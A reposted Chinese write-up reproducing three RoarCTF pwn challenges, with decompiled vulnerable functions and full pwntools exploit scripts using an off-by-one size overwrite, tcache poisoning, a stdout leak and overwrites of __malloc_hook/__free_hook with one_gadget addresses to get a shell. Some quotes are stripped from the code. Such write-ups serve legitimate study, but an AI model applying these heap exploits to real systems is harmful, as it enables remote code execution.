Roarctf 几道pwn 复现

Posted 叶子-_-

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Roarctf 几道pwn 复现相关的知识,希望对你有一定的参考价值。

1、easy_pwn

  可以利用的点:

  

__int64 __fastcall sub_E26(signed int a1, unsigned int a2)
{
  __int64 result; // rax

  if ( a1 > (signed int)a2 )
    return a2;
  if ( a2 - a1 == 10 )
    LODWORD(result) = a1 + 1;
  else
    LODWORD(result) = a1;
  return (unsigned int)result;
}

然后 覆盖了 下一个chunk的 size ,然后就是 像之前的0ctf2017的babyheap程序

具体可以参考这里

https://bbs.pediy.com/thread-246786.htm

payload:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = debug
host = "192.168.244.153"
port = 8888 
#r = process("")
r = remote(host,port)

def add(size):
    r.recvuntil("choice: ")
    r.sendline(str(1))
    r.recvuntil("size: ")
    r.sendline(str(size))

def edit(index,size,content):
    r.recvuntil("choice: ")
    r.sendline(str(2))
    r.recvuntil("index: ")
    r.sendline(str(index))
    r.recvuntil("size: ")
    r.sendline(str(size))
    r.recvuntil("content: ")
    r.sendline(content)

def free(index):
    r.recvuntil("choice: ")
    r.sendline(str(3))
    r.recvuntil("index: ")
    r.sendline(str(index))

def show(index):
    r.recvuntil("choice: ")
    r.sendline(str(4))
    r.recvuntil("index: ")
    r.sendline(str(index))


add(0x68)#0
add(0x68)#1
add(0x68)#2
add(0x68)#3
add(0x68)#4
add(0x68)#5
payload = a*0x68+p8(0xe1)
edit(0,0x68+0xa,payload)
free(1)
add(0x68)#1
show(2)
r.recvuntil(": ")
leak = u64(r.recv(6).ljust(8,\x00))
libc = leak - 0x3c4b78
print "libc:"+hex(libc)
free_hook = libc +0x3c67a8
malloc_hook = libc +0x3c4b10
ong_a = libc + 0x4526a
realloc_hook = libc +0x846C0
payload = p64(malloc_hook -0x23)
add(0x60)#6
free(2)
edit(6,8,payload)
add(0x60)#2
add(0x60)#7
payload = a*0xb+p64(ong_a)+p64(realloc_hook)
edit(7,len(payload),payload)
add(0x68)
r.interactive()

 

2、realloc_magic

  程序:

 

int fr()
{
  free(realloc_ptr);
  return puts("Done");
}
int ba()
{
  if ( lock )
    exit(-1);
  lock = 1;
  realloc_ptr = 0LL;
  return puts("Done");
}
int re()
{
  size_t size; // [rsp+Ch] [rbp-4h]

  puts("Size?");
  LODWORD(size) = get_int("Size?");
  realloc_ptr = realloc(realloc_ptr, (unsigned int)size);
  puts("Content?");
  read(0, realloc_ptr, (unsigned int)size);
  return puts("Done");
}

没有malloc ,这道题可以修改tcache的内容,因为tache 就在heap的最上面可以修改几个字节就星

 

首先 用double free  realloc到 tcache去和修改一个chunk的大小,然后free掉 jiu可以 放到unsortbin去接下来就去布局了 继续realloc 的话就会从unsortdbin上扣出来,好像是。。。

既然修改到tcache去,就可以修改tcache 的chunk,这样就可以修改一个tcache中的chunk 指向IO_2_1_stdin去。接下来在用666 

接下来就常规操作

我就参考了两个wp 

都实现了下

payload:

  

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
import random
context.log_level = debug
#host = "192.168.244.158"
host = 127.0.0.1
port = 8888 
#r = process("")
r = remote(host,port)


def dele():
    r.recvuntil(">> ")
    r.sendline(str(2))

def realloc_(size,content):
    r.recvuntil(">> ")
    r.sendline(str(1))
    r.recvuntil("Size?")
    r.sendline(str(size))
    r.recvuntil("Content?")
    r.send(content)

def lock_666():
    r.recvuntil(">> ")
    r.sendline(str(666))

#realloc_(0x70,‘a‘)
#realloc_(0,‘‘)
#realloc_(0x100,‘a‘)
#realloc_(0,‘‘)
#realloc_(0xe0,‘a‘)
#realloc_(0,‘a‘)
#realloc_(0x100,‘a‘)
#[dele() for i in range(7)]
#realloc_(0x0,‘‘)
#realloc_(0x70,‘a‘)
#realloc_(0x180,chr(0)*0x78+p64(0x41)+p16(0x9760-0x43))
#realloc_(0,‘‘)
#realloc_(0x100,‘a‘)
#realloc_(0,‘‘)
#realloc_(0x100,‘a‘*0x43+p64(0xfbad1887) + p64(0) *3 + "\x00")
#leak=u64(r.recvuntil("realloc")[9:9+6].ljust(8,‘\x00‘))
#leak=u64(r.recv(6).rjust(8,‘\x00‘))
#print hex(leak)
#libc = leak - 0x3ed8b0
#lock_666()
#realloc_(0x70,‘a‘)
#realloc_(0,‘‘)
#realloc_(0x110,‘a‘)
#realloc_(0,‘‘)
#realloc_(0xf0,‘a‘)
#realloc_(0,‘a‘)
#realloc_(0x110,‘a‘)
#[dele() for i in range(7)]
#realloc_(0x0,‘‘)
#realloc_(0x70,‘a‘)
#realloc_(0x190,chr(0) * 0x78 + p64(0x41) + p64(libc + 0x3ed8e8))
#realloc_(0x0,‘‘)
#print hex(libc)
#realloc_(0x110,‘a‘)
#realloc_(0,‘‘)
#ong_g = libc + 0x4f322
#realloc_(0x110,p64(ong_g))
#r.sendline(str(2))

realloc_(0x28,a)
dele()
realloc_(0x68,n)
dele()
realloc_(0x18,n)
realloc_(0,‘‘)
realloc_(0x48,a)
dele()
realloc_(0,‘‘)
realloc_(0x68,a*0x18+p64(0x201)+p16(0x7010))
realloc_(0,‘‘)
realloc_(0x48,s)
realloc_(0,‘‘)
realloc_(0x48,\xff*0x38+p64(0x31))
realloc_(0x58, a * 0x18 +   *0x20 + p64(0x41)+p64(0) +p16(0x7050))
realloc_(0,‘‘)
realloc_(0x28,p64(0)*4+p16(0x072d)+p8(0xdd))
realloc_(0,‘‘)
realloc_(0x58,a*0x33+p64(0xfbad3c80)+p64(0)*3+chr(0))
leak=u64(r.recvuntil("realloc")[9:9+6].ljust(8,\x00))
print hex(leak)
libc = leak - 0x3ed8b0
#realloc_(0,‘‘)
#realloc_(0x1e8,p64(0)*4+p16(0x072d)+p8(0xdd))
#realloc_(0,‘‘)
#realloc_(0x58,‘a‘*0x13+p64(0xfbad3c80)+p64(0)*3+chr(0))
#result=r.recvn(8)
#realloc_(0x50,  ‘a‘ * 0x18 + ‘ ‘ * 0x20 + p64(0x201)+ p16(0x7060))
#realloc_(0,‘‘)
#realloc_(0x18,p64(0)+p64(0x1f1)+p16(0x072d)+p8(0xdd))
#realloc_(0,‘‘)
#realloc_(0x28,‘a‘)
#realloc_(0x1e8,‘a‘)
#realloc_(0x1e8,p16(0x072d)+p8(0xdd))
r.sendline(str(666))
realloc_(0x38,p64(0)+p64(libc+0x3ed8e8))
realloc_(0,‘‘)
ong_g = libc+0x4f322
realloc_(0x28,p64(ong_g))
r.sendline(2)
r.interactive()
#realloc_(0x50,‘p‘*0x33+p64(0xfbad3c80)+p64(0)*3+chr(0))
#leak=u64(r.recvuntil("realloc")[9:9+6].ljust(8,‘\x00‘))
#print hex(leak)
r.interactive()

easy_heap:

  这道 只有show了一次就关了  stdou 和stderr

  所以  其实就是劫持 bss上的 ,然后可以修改,在bss上伪造一个 unsortbin ,然后释放 就有了libc的地址,但是要用 那个给的realloc的 卡住,就能泄露出来了

  我是在本地调试的。

payload:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
context.log_level=debug
host = "192.168.244.158"
port = 8888

r = remote(host,port)

r.recvuntil("please input your username:")
r.sendline(yezi)
r.recvuntil("please input your info:")
r.sendline(lan)
def add2(size,content):
    sleep(0.1)
    r.sendline(str(1))
    sleep(0.1)
    r.send(str(size).ljust(8, \x00))
    sleep(0.3)
    r.send(content)
def add(size,content):
    r.recvuntil(">> ")
    r.sendline(str(1))
    r.recvuntil("input the size")
    r.sendline(str(size))
    r.recvuntil("please input your content")
    r.sendline(content)
def free2():
    sleep(0.2)
    r.sendline(str(2))
def free():
    r.recvuntil(">> ")
    r.sendline(str(2))

def show():
    r.recvuntil(">> ")
    r.sendline(str(3))

def e_666(chosn,content):
    r.recvuntil(">> ")
    r.sendline(str(666))
    r.recvuntil("build or free?")
    if chosn == 1:
        r.sendline(str(1))
        r.recvuntil("please input your content")
        r.sendline(content)
    else:
        r.sendline(str(2))

add(0x50,a)#0
add(0x50,b)#1
add(0x50,c)#2
free()
free()
add(0x50,p64(0x602080))
add(0x50,a)
payload = 0xdeadbeefdeadbeef
add(0x50,p64(0)+p64(0x6020b0)+p64(payload)+p64(0)+p64(0)+p64(0xb1))
e_666(1,a)
[free() for i in range(7)]
add(0x70,a)
e_666(0,a)
add(0x8,aaaaaaa)
show()
r.recvuntil("\n")
libc = u64(r.recv(6).ljust(0x8,\x00)) -0x3ebd40
log.info(hex(libc))
malloc_hook = libc + 0x3ebc30
free_hook = libc +0x3ed8e8
system = libc +0x4f440
add2(0x40,aa)
free2()
free2()
add2(0x40,p64(malloc_hook-0x8))
add2(0x40,p64(malloc_hook-0x8))
#payload = p64(system)
payload = p64(libc+0x4f322)+p64(libc+0x98c30+9)
add2(0x40,payload)
add2(0x40,touch 1.txt|cat flag > 1.txt)
r.interactive()

 

  

参考:https://www.anquanke.com/post/id/188785#h3-6

以上是关于Roarctf 几道pwn 复现的主要内容,如果未能解决你的问题,请参考以下文章

2018年强网杯pwn题复现

2022柏鹭杯pwn复现

2022虎符CTF pwn wp+复现

&pwn1_sctf_2016 &ciscn_2019_n_1 &ciscn_2019_c_1 &ciscn_2019_en_2&

PWN学习001

[NTUSTISC pwn LAB 7]Return to libc实验(puts泄露libc中gadget片段定位)